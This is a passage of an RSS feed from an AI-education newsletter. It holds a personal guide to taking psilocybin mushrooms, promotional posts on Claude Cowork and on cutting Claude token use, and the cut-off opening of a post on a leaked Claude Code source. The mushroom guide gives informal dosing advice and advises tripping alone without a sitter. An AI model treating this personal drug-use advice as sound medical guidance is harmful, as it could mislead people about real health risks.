<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Sabrina Ramonov 🍄]]></title><description><![CDATA[Teach 10 million people AI for free 🔥Subscribe get AI prompts, agents, and automations]]></description><link>https://www.sabrina.dev</link><image><url>https://substackcdn.com/image/fetch/$s_!Fq8u!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7075ee19-32b3-46ad-bae8-532bf200a103_1080x1080.png</url><title>Sabrina Ramonov 🍄</title><link>https://www.sabrina.dev</link></image><generator>Substack</generator><lastBuildDate>Fri, 17 Apr 2026 13:28:19 GMT</lastBuildDate><atom:link href="https://www.sabrina.dev/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Sabrina Ramonov 🍄]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[sabrinaramonov@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[sabrinaramonov@substack.com]]></itunes:email><itunes:name><![CDATA[Sabrina Ramonov 🍄]]></itunes:name></itunes:owner><itunes:author><![CDATA[Sabrina Ramonov 🍄]]></itunes:author><googleplay:owner><![CDATA[sabrinaramonov@substack.com]]></googleplay:owner><googleplay:email><![CDATA[sabrinaramonov@substack.com]]></googleplay:email><googleplay:author><![CDATA[Sabrina Ramonov 🍄]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[🍄 Shroom Safety Guide for Beginners - Reduce Harm and Risk ]]></title><description><![CDATA[&#127812;&#127812;&#127812;&#127812;&#127812;]]></description><link>https://www.sabrina.dev/p/shroom-safety-guide-for-beginners</link><guid isPermaLink="false">https://www.sabrina.dev/p/shroom-safety-guide-for-beginners</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Fri, 17 Apr 2026 03:08:41 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Fq8u!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7075ee19-32b3-46ad-bae8-532bf200a103_1080x1080.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is for educational purposes only, and these guidelines help to reduce harm, reduce risk, and keep you safe.</p><p>I&#8217;ve done a lot of things in a lot of places.</p><p>Many mistakes were made.</p><p>There&#8217;s a lot of terrible information and random charts on the internet, reddit, etc.</p><p>Now that I&#8217;m wiser, here is what&#8217;s ACTUALLY important:</p><ul><li><p>your physical safety</p></li><li><p>your psychological safety</p></li><li><p>having a life-changing experience</p></li></ul><p>To be clear, I&#8217;m not talking about microdosing. </p><p>That&#8217;s cute&#8230; but I&#8217;m talking about having a mind-bending life-altering experience with sacred medicine.</p><p>It should feel like <strong>&#8220;&#8230;hanging on to a rocketship for dear life!&#8221;</strong></p><p>Very few people I know have gone there. </p><p>Most people dabble because it&#8217;s trendy right now.</p><p>Proceed with caution.</p><h2>Reading</h2><p>If you&#8217;re an anxious overthinker, it can help to read a book before your trip.</p><p>There are lots of popsci mainstream books. </p><p>The most well-known is <a href="https://www.amazon.com/Change-Your-Mind-Consciousness-Transcendence/dp/1594204225">How to Change Your Mind</a>.</p><h2>Dosage</h2><p>I&#8217;ll reiterate that this is for educational purposes only, and these guidelines help to reduce harm and reduce risk.</p><p>If you&#8217;re new, stay away from strong strains like Penis Envy. With strong strains like these, you always want to take a conservative amount to test the waters, then work your way up. This is how you reduce risk and stay safe.</p><p>Assuming you have a NORMAL strain, the book <a href="https://www.amazon.com/Change-Your-Mind-Consciousness-Transcendence/dp/1594204225">How to Change Your Mind</a> researched that 1/8 ounce (3.5 grams) is the starting point for a &#8220;traditional&#8221; psychedelic experience.</p><h2>Environment</h2><p>Many people think they need a &#8220;sitter&#8221;, i.e. someone to watch over them. I personally don&#8217;t think it&#8217;s necessary for most people. </p><p>Keep in mind, most people don&#8217;t know how to be a proper sitter, so they may actually be annoying/intrusive during your experience.</p><p>However, it&#8217;s a good idea to inform someone you TRUST about what you&#8217;re doing, so they can check in on you when your experience is winding down.</p><p>Do I think you need a &#8220;retreat&#8221;? Not really, but if you can afford it and you want it, retreats can add an extra layer of safety.</p><p>This is the environment I strongly suggest, again to maximize your physical and psychological safety:</p><ul><li><p>you alone</p></li><li><p>in the morning</p></li><li><p>in your bedroom</p></li><li><p>listening to music</p></li><li><p>closed eyes + sleeping mask</p></li></ul><p>Really simple. Don&#8217;t try to hike, bike, kayak, etc. Don&#8217;t do it with your spouse or friend (because you don&#8217;t know what they&#8217;ll do or how you&#8217;ll react to them).</p><h2>Essentials</h2><p>Be clean, don&#8217;t be on any other substances, consult a doctor or ask google/chat if you&#8217;re currently on any medications, eat clean for several days beforehand, don&#8217;t do alcohol/smoke for several days beforehand, etc. </p><p>These are the essentials:</p><ul><li><p>Clean your bedroom</p></li><li><p>Sleeping mask</p></li><li><p>Water bottle</p></li><li><p>Tissue box</p></li><li><p>Headphones</p></li><li><p>Comfortable pillow</p></li><li><p>Comfortable blanket</p></li><li><p>Comfortable clothes</p></li><li><p><a href="https://open.spotify.com/playlist/7aVExA8Lb72NFNbRBZfJLJ?si=WTiNqPDDTYaoTZ7eZHfQWw&amp;pi=ISs-G8R0ToyBq">This Spotify playlist</a> (5.5 hours long)</p></li><li><p>Take a full day off from work - no afternoon/evening plans!</p></li></ul><p>Put all the items on your bed or next to your bed, easy to reach.</p><p>The day before, don&#8217;t binge during dinner, just eat clean.</p><p>Here are things you do NOT want near you:</p><ul><li><p>Pencil/pen (trust me, you won&#8217;t be &#8220;journaling&#8221; lol)</p></li><li><p>No sharp or pointy objects</p></li><li><p>No glass (use a plastic water bottle)</p></li><li><p>No eyedrops/glasses (don&#8217;t touch your eyes)</p></li></ul><p>These guidelines help reduce risk of physical harm by keeping only what is essential and removing all other objects (especially sharp/pointy/breakable objects).</p><h2>The Big Day</h2><p>Here&#8217;s a sample schedule that helps reduce sleep disruption and reduce psychological harm by starting in the morning when you&#8217;re fully awake &amp; alert:</p><ul><li><p>wake up</p></li><li><p>poop (important! okay to drink a little coffee to get it done)</p></li><li><p>eat it</p></li><li><p>look at something pretty (i.e. nature/photo) for 15-30 minutes, then go to your bedroom</p></li><li><p>turn off bedroom lights</p></li><li><p>put on headphones</p></li><li><p>start spotify playlist</p></li><li><p>put phone on airplane mode so you don&#8217;t get distracting texts</p></li><li><p>put on sleeping mask</p></li><li><p>lay down in bed, with pillows so that your head has support</p></li><li><p>close your eyes</p></li><li><p>focus on the music</p></li></ul><p>The music IS your guide.</p><p>The music substantially helps reduce risk of psychological harm.</p><p>Close your eyes and listen to the full 5.5 hour Spotify playlist, which was curated based on scientific research (i.e. people rated which music helped them most).</p><h2>INTENSE </h2><p>If things get really intense, there are 3 things I want you to remember&#8230;</p><p>2 words and 1 &#8220;emergency exit&#8221;.</p><p><strong>REMEMBER THESE 2 WORDS:</strong></p><ul><li><p><strong>BREATHE</strong></p></li><li><p><strong>SURRENDER</strong></p></li></ul><p>When it feels like a lot, think these 2 words to yourself. </p><p>Just THINK these 2 words, and your body will know what to do.</p><p>It helps a lot.</p><p>BUT if it still feels like too much:</p><blockquote><p>TAKE OFF your sleeping mask and OPEN YOUR EYES!! </p></blockquote><p>Seeing your familiar surroundings will instantly reorient you and calm down the intensity.</p><p>These 3 tips will help reduce the risk of psychological harm.</p><h2>Post Trip</h2><p>After ~5 hours, you can usually safely walk around your house. </p><p>BUT DO NOT DRIVE!</p><p>Drink water to hydrate.</p><p>Drink hot tea to settle your stomach.</p><p>Eat something clean because you&#8217;ll probably be hungry.</p><p>I recommend staying off your phone/computer/TV for the rest of the day, if possible. It may be more productive to let the insights settle than to immediately return to your technology addiction.</p>]]></content:encoded></item><item><title><![CDATA[5 INSANE Claude Cowork Use Cases (1-Hour Masterclass)]]></title><description><![CDATA[The gap between &#8220;I&#8217;ve heard of AI&#8221; and &#8220;AI saves me 15+ hours every week&#8221; is this 1-hour Claude Cowork masterclass.]]></description><link>https://www.sabrina.dev/p/5-insane-claude-cowork-use-cases-masterclass</link><guid isPermaLink="false">https://www.sabrina.dev/p/5-insane-claude-cowork-use-cases-masterclass</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Sun, 12 Apr 2026 01:31:54 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/-q_wgmmD0e0" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In case you missed it:</p><blockquote><ul><li><p><a href="https://www.youtube.com/watch?v=AP-fOOmm02g">I Asked Claude To Make Me As Much Money As Possible</a></p></li><li><p><a href="https://youtu.be/rFtpXLlzzPg">Microsoft Copilot 2 Hour Course</a></p></li><li><p><a href="https://www.youtube.com/watch?v=1dSNfnFL40c">Claude Cowork for Beginners</a></p></li></ul></blockquote><p>I get the same DM every day.</p><p><strong>&#8220;Where do I START with Claude?&#8221;</strong></p><p>Not &#8220;how do I setup Openclaw&#8221; or &#8220;What&#8217;s the best AI agent?&#8221;</p><div class="pullquote"><p>Where. Do. I. Start.</p></div><p>So I recorded a FULL 1-hour Claude Cowork masterclass. </p><p>5 insane use cases. Starting from zero.</p><p>35,000+ of you watched the beginner tutorial. </p><p>This one goes 3x deeper, with 5 complete use cases you build alongside me.</p><div id="youtube2--q_wgmmD0e0" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;-q_wgmmD0e0&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/-q_wgmmD0e0?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p>To support my free AI education: HIT LIKE + LEAVE A COMMENT &#128591;</p><div><hr></div><p><strong>Who this is for:</strong> You&#8217;ve heard of Claude Cowork, you&#8217;ve seen the hype, but you haven&#8217;t built anything with it yet. Or you tried it once, got confused, and closed it.</p><p><strong>Who this is NOT for:</strong> If you&#8217;ve been using Claude Code for months, you probably won&#8217;t use Cowork except for certain features that are superior (e.g. scheduling, artifacts)</p><div><hr></div><h2>Setup</h2><p>You downloaded Claude Desktop. You opened it. </p><p>You&#8217;re staring at a blank screen going &#8220;now what?&#8221;</p><p>This is where 90% of people quit.</p><p>I walk you through the ENTIRE install &amp; setup. </p><p>What to download, what to click, what to type first.</p><blockquote><p><strong>Walk away with:</strong> Claude Cowork installed, running, and ready on your machine. 10 minutes, zero confusion.</p></blockquote><h2>Product Tour</h2><p>You know the feeling of using new software where you keep clicking random buttons hoping to find the right one?</p><p>I give you a full walkthrough of the interface. Every button, every panel, every menu. So you never fumble.</p><p>This is the part most tutorials skip because it&#8217;s &#8220;boring.&#8221; </p><p>But it&#8217;s the difference between wasting 3 hours and knowing EXACTLY where things are.</p><blockquote><p><strong>Walk away with:</strong> Complete mental map of the interface. You&#8217;ll know where everything lives before you build your first thing.</p></blockquote><p>Follow along here:</p><div id="youtube2--q_wgmmD0e0" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;-q_wgmmD0e0&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/-q_wgmmD0e0?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h2>Marketing Plugin and Skill Creator</h2><p>Here&#8217;s where it gets spicy :)</p><p>Claude Cowork has a <strong>plugin system</strong>.</p><p>A plugin is a collection of <strong>Skills</strong>.</p><p>In the video, I walk through installing a marketing plugin, which transforms Claude into a content creation machine. </p><p>Then I CREATE a custom Skill from scratch, live.</p><p>Skills are reusable instructions. You teach Claude how to do something ONCE, and it remembers forever. No more copy-pasting the same prompts over and over.</p><p>This is the section separating people who use Claude casually from people who build SYSTEMS that save 15+ hours per week.</p><blockquote><p><strong>Walk away with:</strong> Your first custom Skill installed and working. The foundation for automating anything you do repeatedly.</p></blockquote><h2>Use Case 1: Organize Local Files</h2><p>Your Downloads folder has 847 random files in it. Screenshots from 2024. PDFs you opened once. 6 copies of the same image.</p><p>I pointed Claude at my ACTUAL messy folder and it organized everything in minutes. </p><p>Photos sorted by date. Documents grouped by type. Duplicates flagged.</p><p>Zero manual sorting. Zero dragging and dropping.</p><p>This is a great first project because it&#8217;s low stakes, immediately useful, and you SEE files moving around on your own computer in real time. </p><blockquote><p><strong>Walk away with:</strong> A clean, organized file system. ~2 hours of manual sorting done in under a minute.</p></blockquote><h2>Use Case 2: Personal Email Assistant</h2><p>You open Gmail. 47 unread. 12 are newsletters. 8 are spam. 3 need replies. And you spend 45 minutes figuring out which is which.</p><p>Every. Single. Morning.</p><p>I&#8217;ll show you how to connect Claude to Gmail and build a personal email assistant. It reads your inbox, summarizes what matters, drafts replies, and flags anything urgent.</p><p>The key part: </p><p>I walk through connecting Gmail via <strong>CONNECTORS</strong> (MCP) so Claude has REAL access to your email. Not fake demo data! </p><p>Your REAL inbox.</p><p>MCP is what turns AI from a consultant into an employee. </p><p>Without it, Claude gives you instructions. </p><p>With it, Claude DOES the work.</p><blockquote><p><strong>Walk away with:</strong> A working email assistant connected to your REAL Gmail. ~45 min/day saved on inbox management.</p></blockquote><p>Follow along here:</p><div id="youtube2--q_wgmmD0e0" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;-q_wgmmD0e0&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/-q_wgmmD0e0?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h2>Use Case 3: Create On-Brand Content</h2><p>This is what I use Claude for every single week. </p><p>And it&#8217;s the section where most people go &#8220;oh&#8230; SO this is how she does it.&#8221; LOL</p><p>The problem: you ask AI to write something and it sounds like a robot wrote it. Generic. Slop-py. Obviously AI.</p><p>The fix is simple:</p><p><strong>Teach Claude everything about your voice/business ONCE.</strong></p><p>I show you how to build a <strong>brand file</strong> with your voice, your style, your rules. Claude reads it at the start of every session. It never forgets.</p><p>Captions, tweets, newsletters, video scripts. </p><p>All in YOUR voice. Not generic slop-py &#8220;AI voice.&#8221;</p><p>I distribute 250+ pieces of content per week and check each one for quality. The brand file is the foundation for ALL of it.</p><blockquote><p><strong>Walk away with:</strong> Your own brand file + Claude writing content in your voice. The same system behind 250+ weekly posts.</p></blockquote><h2>Use Case 4: Create UNLIMITED Videos</h2><p>I&#8217;m not exaggerating with the title.</p><p>The bottleneck for most creators isn&#8217;t ideas. It&#8217;s production. Writing scripts, outlining topics, creating visuals, formatting for different platforms&#8230; it takes FOREVER.</p><p>I show you how Claude COWORK generates videos, unlimited &amp; free.</p><p>It&#8217;s similar to Claude Code + Remotion, but Cowork uses a different set of open-source libraries. These work best for animated explainer videos with simple text or motion graphics, although you can also incorporate your own assets (photos/videos).</p><p>1 person. Unlimited output. </p><p>The solopreneur dream! </p><blockquote><p><strong>Walk away with:</strong> A repeatable video production workflow. Go from &#8220;I have an idea&#8221; to &#8220;I have a script + outline + visuals&#8221; in minutes, not hours.</p></blockquote><h2>Use Case 5: Social Media Content Calendar</h2><p>&#8220;What should I post today?&#8221;</p><p>If you&#8217;re asking this question every morning, you&#8217;ve already lost.</p><p>The best creators NEVER wonder what to post. </p><p>They have a system.</p><p>I show you how to build a full content calendar with Claude. </p><p>Plan what you&#8217;re posting, where, and when. Distribute seamlessly Aaross multiple platforms.</p><p>Claude brainstorms topics, batches content, schedules posts, and keeps everything organized in 1 place.</p><p>No more panic posting. No more going dark for 2 weeks because life got busy.</p><blockquote><p><strong>Walk away with:</strong> A full content calendar across multiple platforms. A system running even when you don&#8217;t feel like creating.</p></blockquote><div><hr></div><p>Here&#8217;s why I made this free.</p><p>I&#8217;ve built 1.8M+ audience and a profitable biz solo by going DEEP on FEWER ai tools. </p><p>Not by dabbling with 50 shiny hyped objects.</p><p>Claude Cowork is the tool I&#8217;d learn FIRST if I were starting today.</p><p>This masterclass is the tutorial I wish existed when I started.</p><p>The gap between &#8220;I&#8217;ve heard of AI&#8221; and &#8220;AI saves me 15+ hours every week&#8221; is this ONE hour masterclass. Let&#8217;s gooo!</p><div id="youtube2--q_wgmmD0e0" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;-q_wgmmD0e0&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/-q_wgmmD0e0?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p>If you LOVE this newsletter, please SHARE it to help teach more people for FREE!</p><div><hr></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></p><p>2/ Free <strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></p><p>3/ Free <strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></p><p>4/ Free <strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></p><p>5/ Ask me anything @ <strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></p><p>6/ Free private community for <strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></p><p>7/ I built <strong><a href="https://www.blotato.com/">Blotato</a></strong> to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[6 Ways I Cut My Claude Token Usage in Half!]]></title><description><![CDATA[If you're on the $20/month Claude plan, you absolutely need to implement these tips to reduce your Claude token consumption]]></description><link>https://www.sabrina.dev/p/6-ways-i-cut-my-claude-token-usage</link><guid isPermaLink="false">https://www.sabrina.dev/p/6-ways-i-cut-my-claude-token-usage</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Sun, 05 Apr 2026 03:29:02 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Fq8u!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7075ee19-32b3-46ad-bae8-532bf200a103_1080x1080.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In case you missed it:</p><blockquote><ul><li><p><a href="https://www.youtube.com/watch?v=rFtpXLlzzPg">Microsoft Copilot FULL COURSE (2 Hours)</a></p></li><li><p><a href="https://youtu.be/z9snJLVVjdE">Claude Cowork clearly explained</a></p></li><li><p><a href="https://www.youtube.com/watch?v=xrydO6E3fT0">Claude Code changed VIDEOS forever</a>!</p></li><li><p>DM me on <a href="https://www.instagram.com/sabrina_ramonov/">INSTAGRAM</a> to say hi :)</p></li><li><p>Friday night livestream moved to <strong>FRIDAYS 2PM EST!</strong></p></li></ul></blockquote><div><hr></div><p>I was mass-burning through my Claude subscription for WEEKS before I figured this out.</p><p>Not because I was doing anything fancy.</p><p>Because I was doing everything un-optimized.</p><p>Running Opus at max effort on every task. Letting my context window bloat to 80K tokens before I even typed a word. Feeding Claude my entire life story at every turn.</p><p>Here are the 6 things I changed. </p><p>All practical, all free, most &lt;5 minutes.</p><div><hr></div><h2>1. Stop Using Opus for Everything</h2><p>Type <code>/models</code> in Claude Code. </p><p>Then, switch models based on task complexity.</p><p><strong>Opus</strong> for complex multi-file refactors, architecture decisions, debugging gnarly issues.</p><p><strong>Sonnet</strong> for writing tests, simple edits, explaining code, most daily work.</p><p><strong>Haiku</strong> for quick lookups, formatting, renaming, anything repetitive.</p><p>You don&#8217;t need a sports car to go get groceries.</p><p>This alone makes a HUGE difference.</p><p>Far more efficient model routing.</p><h2>2. Clear Your Context Between Tasks</h2><p>Every time you hit enter, Claude Code is shipping tons of system context before it even looks at what you typed.</p><p>And it snowballs. </p><p>The longer your session runs, the more bloated it gets. Slower responses, worse quality, higher cost. </p><p>You&#8217;re literally paying more to get dumber answers.</p><p>To fix this:</p><blockquote><p><code>/clear</code> between unrelated tasks. Wipe the slate, start fresh.</p><p><code>/compact</code> when you&#8217;re about to start something big. It squeezes your conversation down to just the important parts.</p></blockquote><h2>3. Use CLI Tools Instead of MCP</h2><p>If a CLI exists for a tool, use it over MCP. Faster AND cheaper.</p><p>GitHub is the perfect example. The <code>gh</code> CLI works better and eats WAY fewer tokens than the GitHub MCP server.</p><p>MCP tools inject their full schema into your context on BOTH sides&#8230; the tool definitions going in, the raw output coming back. You&#8217;re paying for all of it.</p><p><strong>My rule of thumb</strong>: </p><p>CLI and Skills where possible.</p><p>MCP if there&#8217;s no alternative.</p><h2>4. Install the Context-Mode Plugin</h2><p>This <a href="https://github.com/mksglu/context-mode">open source project</a> keeps raw MCP tool output from flooding your context window.</p><p>I use it daily. Runs in the background so I don&#8217;t have to proactively do anything.</p><p>It cuts MCP token usage by 50-90%.</p><p>The concept is simple. When an MCP tool returns 10,000 tokens of raw JSON, context-mode indexes it in a sandbox instead of dumping it into your conversation. You get a summary. Claude gets the info it needs. Thus, your context stays clean.</p><p>Install it, configure it, done!!</p><p>Biggest bang for buck if you use loads of MCP servers.</p><h2>5. Keep Your CLAUDE.md Lean</h2><p>Your CLAUDE.md gets injected into EVERY single request. </p><p>Every turn. Every follow-up. Every <code>/clear</code> and fresh start.</p><p>If your CLAUDE.md is 5,000 tokens, you&#8217;re taxed 5,000 tokens on every interaction before Claude even reads your code!</p><blockquote><p>Give it 5 rules &amp; point it to the details when it needs them. Think &#8220;email with links&#8221;, not a &#8220;2000-page employee handbook&#8221;.</p></blockquote><p>Keep it under 2,000 tokens. </p><p>Put the detailed stuff in separate files. Reference them with file paths. Claude reads them when it needs to.</p><p>Here&#8217;s a skeleton:</p><blockquote><pre><code><code># CLAUDE.md

## Rules
- Use TypeScript strict mode
- Write tests for every new function
- Follow existing patterns in the codebase

## Key Files
- API routes: see src/api/README.md
- Database schema: see docs/schema.md
- Style guide: see docs/style-guide.md</code></code></pre></blockquote><p>5 rules. </p><p>3 file pointers. </p><p>Under 500 tokens.</p><p>Claude reads those linked files ONLY when it&#8217;s working on something relevant. </p><p>NOT every single turn.</p><p>BIG saving if you have a super bloated claude.md file (guilty!)</p><h2>6. Run Claude Code for FREE With Ollama</h2><p>$0 dollars. Forever. </p><p>Everything runs local on your own machine, no API key needed, no subscription, no usage caps.</p><p><strong>Step 1: Install Ollama</strong></p><p>Head to <a href="https://ollama.com">ollama.com</a> and grab the installer. It takes about 30 seconds on Mac, Windows, or Linux.</p><p><strong>Step 2: Pull a coding model</strong></p><p>Open your terminal and run:</p><blockquote><p><code>ollama pull qwen3-coder</code></p></blockquote><p>This grabs a 30B parameter model with a 128K context window. As of right now, it&#8217;s the strongest free option for coding tasks.</p><p>Which model fits your machine: </p><p>- <strong>16GB+ RAM</strong>: qwen3-coder is your best bet </p><p>- <strong>8-16GB RAM</strong>: go with devstral-2-small (24B), still very capable </p><p>- <strong>8GB or less</strong>: granite3.3:8b (8B) will run, but you&#8217;ll feel the difference</p><p>If you&#8217;re on Apple Silicon, the unified memory architecture handles 24B+ models without breaking a sweat.</p><p><strong>Step 3: Start the Ollama server</strong></p><blockquote><p><code>ollama serve</code></p></blockquote><p>Leave this running in a terminal tab.</p><p><strong>Step 4: Point Claude Code at Ollama</strong></p><p>Set 2 environment variables before launching:</p><blockquote><p><code>export ANTHROPIC_BASE_URL=http://localhost:11434/v1</code></p><p><code>export ANTHROPIC_MODEL=qwen3-coder</code></p></blockquote><p>Then run <code>claude</code> like you normally would. </p><p>Instead of hitting Anthropic&#8217;s servers, it talks to your local model.</p><p><strong>Step 5: Know the limits</strong></p><p>These open source models are good enough for writing, research, summarizing, and simpler tasks.</p><p>But for serious technical work&#8230; I wouldn&#8217;t do it. I&#8217;ve had models tell me they edited a file when literally nothing changed.</p><p>You also lose web search (you can add it back with a Brave or Tavily MCP server), there&#8217;s no prompt caching so every turn reprocesses your full context, and the gap between these models and Opus is quite noticeable on hard problems.</p><p><strong>My recommendation</strong>: </p><p>Let Ollama handle easier stuff. </p><p>Point your Claude subscription at tough work. </p><p>You&#8217;d be surprised how much of your daily usage falls into the &#8220;easy stuff&#8221; bucket anyway!</p><div><hr></div><p>The pattern behind all 6 tips is the same&#8230;</p><p>Stop paying premium prices for tasks that don&#8217;t need it.</p><p>You don&#8217;t need to drive the Ferrari to the grocery story :D</p><p>(or something like that&#8230;)</p><p>Match the tool to the job. </p><p>Keep your context clean. </p><p>Don&#8217;t feed Claude more than it needs.</p><p>Start with a few tips and you&#8217;ll notice the difference TODAY.</p><p>Then experiment with others 1 at a time.</p><p>Your Claude bill will thank you :)</p><p>If you LOVE this newsletter, please SHARE it to help teach more people for FREE!</p><div><hr></div><p>What should I do next?</p><div class="poll-embed" data-attrs="{&quot;id&quot;:489660}" data-component-name="PollToDOM"></div><div><hr></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></p><p>2/ Free <strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></p><p>3/ Free <strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></p><p>4/ Free <strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></p><p>5/ Ask me anything @ <strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></p><p>6/ Free private community for <strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></p><p>7/ I built <strong><a href="https://www.blotato.com/">Blotato</a></strong> to grow 1M+ followers in 1 year</p><p>8/ If you want AI speakers/consultants/coaching, REPLY with your project &amp; budget. I will refer you (I make $0 zero money).</p></blockquote>]]></content:encoded></item><item><title><![CDATA[Comprehensive Analysis of Claude Code Source Leak!]]></title><description><![CDATA[Technical deep dive of Claude source code 2nd time leak!]]></description><link>https://www.sabrina.dev/p/claude-code-source-leak-analysis</link><guid isPermaLink="false">https://www.sabrina.dev/p/claude-code-source-leak-analysis</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Thu, 02 Apr 2026 19:12:47 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!7cAH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Claude Code source leaked AGAIN! </p><p>Billions of dollars of IP to learn from&#8230;</p><p>I&#8217;m gonna focus on what the code reveals: how Claude Code actually works under the hood, what Anthropic was building in secret, and important security notes.</p><h3>Unreleased Products &amp; Modes</h3><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7cAH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7cAH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png 424w, https://substackcdn.com/image/fetch/$s_!7cAH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png 848w, https://substackcdn.com/image/fetch/$s_!7cAH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png 1272w, https://substackcdn.com/image/fetch/$s_!7cAH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7cAH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a05063b-c500-4d57-a916-38078caa282a_1262x1056.png" width="1262" height="1056" 